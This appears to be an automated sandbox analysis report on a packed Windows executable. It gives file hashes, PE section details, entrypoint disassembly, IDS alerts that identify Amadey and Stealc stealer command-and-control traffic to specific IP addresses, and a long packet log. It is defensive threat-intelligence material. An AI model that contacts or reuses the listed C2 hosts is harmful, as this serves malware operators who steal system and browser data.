SSDEEP:	6:9APVX4RKUEZ+lX1cI1l6lm6tPjgsW2YRZuy0lFXmdt0:94R4RKQ1cag7jzvYRQVodt0
MD5:	0255C2D3CFFC87AF31601358C6414636
SHA1:	556C06F7648D26018399B0D4BD9251BC64D76919
SHA-256:	BDDA169874F0D1B119EC38A7E4A070601089821EE96B6D63ACF703802F957D63
SHA-512:	96C35F80D68A4150C5B5DC4EC37FF4C5A928C2A3FA6B484F52762838AD344B1FA5605906E9E2ACA2C992A4BEE6D3112237D75823DA27029AEB22D06DC91E9095
Malicious:	false
Preview:	....#n8H..[L.h.a.WK.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9494260363108875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'909'248 bytes
MD5:	d2d35997021550d304bf21a670921efe
SHA1:	974ed61752963812b1005e85d5077e43b00afc6b
SHA256:	5da8190ffd2e3bfbc685b9de6e326eefe60be0b51a5be2ea38634e45287ccfbc
SHA512:	f7a48b602d925b5c8b0190279beff76f054530bf2aef3e1ff7c16d2f88f08227387d2ebe944a52601b7d9732716901a950744736cdd9dc630e5cc922154aa87d
SSDEEP:	49152:rzrWn4LAutiSNWKIKR/J/mTmmJF500kjxw9WLVpw5:7WSXtiGWKn19mn5Adw9Wbw5
TLSH:	B595334A266FF248D87DD771C937856B97F6AC400AAD4C34890F2935ACEB0DF84E858C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8bb000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF0BCFE848Ah
ltr word ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-69h], ah
pop eax
push cs
inc esp
nop
mov ah, 0Fh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b97b4	0x10	gmovqjaa
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b9764	0x18	gmovqjaa
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	8bb8a968080fefeef8485e1b6d8c7bac	False	0.9994770321038251	data	7.97875321730639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	5d84c23f3a098bfb1edfdb3b574c05d0	False	0.578125	data	4.439318785701847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ae000	0x200	3c3d68e8d018b4f41c9f89f05fdfce2a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gmovqjaa	0x319000	0x1a1000	0x1a0a00	fd758258087d0674aac5c71d76f0e9c1	False	0.9943861573657365	PGP encrypted data	7.954088444564839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bqoswyio	0x4ba000	0x1000	0x400	4cf70f80a6c42434e6a2e197229c5968	False	0.7626953125	data	6.001550778706353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bb000	0x3000	0x2200	990062d85f405ec96006d39b60ada2a0	False	0.05962775735294118	Applesoft BASIC program data, first line number 15	0.7847845829760682	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b97c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-01T05:09:06.688561+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49738	80	192.168.2.4	185.215.113.16
2024-09-01T05:09:34.647239+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49796	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:05.663606+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	49737	80	192.168.2.4	185.215.113.19
2024-09-01T05:09:23.930344+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:26.748688+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:09.762118+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49739	80	192.168.2.4	185.215.113.19
2024-09-01T05:09:12.648485+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49741	80	192.168.2.4	185.215.113.19
2024-09-01T05:09:14.927910+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:16.479309+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	49744	80	192.168.2.4	185.215.113.19
2024-09-01T05:09:28.986733+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:13.715269+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:13.418026+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49743	80	192.168.2.4	185.215.113.16
2024-09-01T05:09:13.468089+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:13.721793+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49742	185.215.113.100	192.168.2.4
2024-09-01T05:09:13.473784+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49742	185.215.113.100	192.168.2.4
2024-09-01T05:09:26.200893+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:09.015636+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	1	80	49737	185.215.113.19	192.168.2.4
2024-09-01T05:09:15.589550+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:25.113696+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:28.555032+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49742	80	192.168.2.4	185.215.113.100
2024-09-01T05:09:13.215865+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49742	80	192.168.2.4	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 05:07:50.569997072 CEST	49678	443	192.168.2.4	104.46.162.224
Sep 1, 2024 05:07:59.632549047 CEST	49675	443	192.168.2.4	173.222.162.32
Sep 1, 2024 05:08:11.864686012 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:11.864716053 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:11.864798069 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:11.866580963 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:11.866594076 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:12.721201897 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:12.721297979 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:12.723661900 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:12.723671913 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:12.723999023 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:12.773016930 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.425966978 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.468503952 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677005053 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677031994 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677042007 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677058935 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677090883 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677155018 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.677177906 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677200079 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.677221060 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.677238941 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677304983 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:13.677313089 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.677922010 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:13.679538012 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:14.343302965 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:14.343338966 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:14.343350887 CEST	49730	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:14.343357086 CEST	443	49730	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:50.669883966 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:50.669914961 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:50.670015097 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:50.670336008 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:50.670346975 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.443084002 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.443150997 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.458081961 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.458092928 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.459038019 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.468730927 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.516505957 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761523962 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761575937 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761617899 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761643887 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.761653900 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761687994 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.761698961 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.761921883 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761965036 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.761984110 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.761990070 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.762026072 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.762125969 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.762176037 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.762238979 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.762299061 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.767072916 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.767081022 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:08:51.767102003 CEST	49736	443	192.168.2.4	40.127.169.103
Sep 1, 2024 05:08:51.767106056 CEST	443	49736	40.127.169.103	192.168.2.4
Sep 1, 2024 05:09:04.889000893 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:04.893949986 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:04.894041061 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:04.894165993 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:04.898941994 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:05.661681890 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:05.663605928 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:05.665288925 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:05.670082092 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:05.939384937 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:05.939461946 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:05.943731070 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:05.949826002 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:05.949915886 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:05.950079918 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:05.954863071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688505888 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688518047 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688528061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688538074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688546896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688555956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688560963 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.688602924 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.688608885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688620090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688627958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688637018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.688651085 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.688678980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.693628073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.693639040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.693677902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.693712950 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.693769932 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.693819046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.837409973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.837435007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.837444067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.837461948 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.837510109 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.837542057 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.837574959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.842259884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.842271090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.842278957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.842288017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.842309952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.842319965 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.842360973 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.847017050 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.847027063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.847045898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.847054005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.847068071 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.847095966 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.851723909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.851733923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.851749897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.851758957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.851767063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.851772070 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.851798058 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.851821899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.856465101 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.856476068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.856518030 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.856523037 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.856534004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.856564999 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.856596947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.861191034 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.861203909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.861212015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.861234903 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.861260891 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.986342907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986355066 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986396074 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986442089 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.986459017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986470938 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986498117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.986500978 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986512899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986521006 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.986524105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.986556053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.986567974 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.987339020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987349033 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987400055 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.987479925 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987530947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.987550020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987560987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987602949 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.987627029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987637997 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987648010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.987677097 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.987701893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.988410950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988457918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988461971 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.988471031 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988503933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.988522053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.988533020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988543987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988560915 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.988584995 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.988606930 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.989408970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989459038 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.989464045 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989475012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989512920 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.989538908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989550114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989562035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.989593983 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.989605904 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.990396976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.990442991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.990446091 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.990454912 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:06.990490913 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:06.990520954 CEST	80	49738	185.215.113.16	192.168.2.4
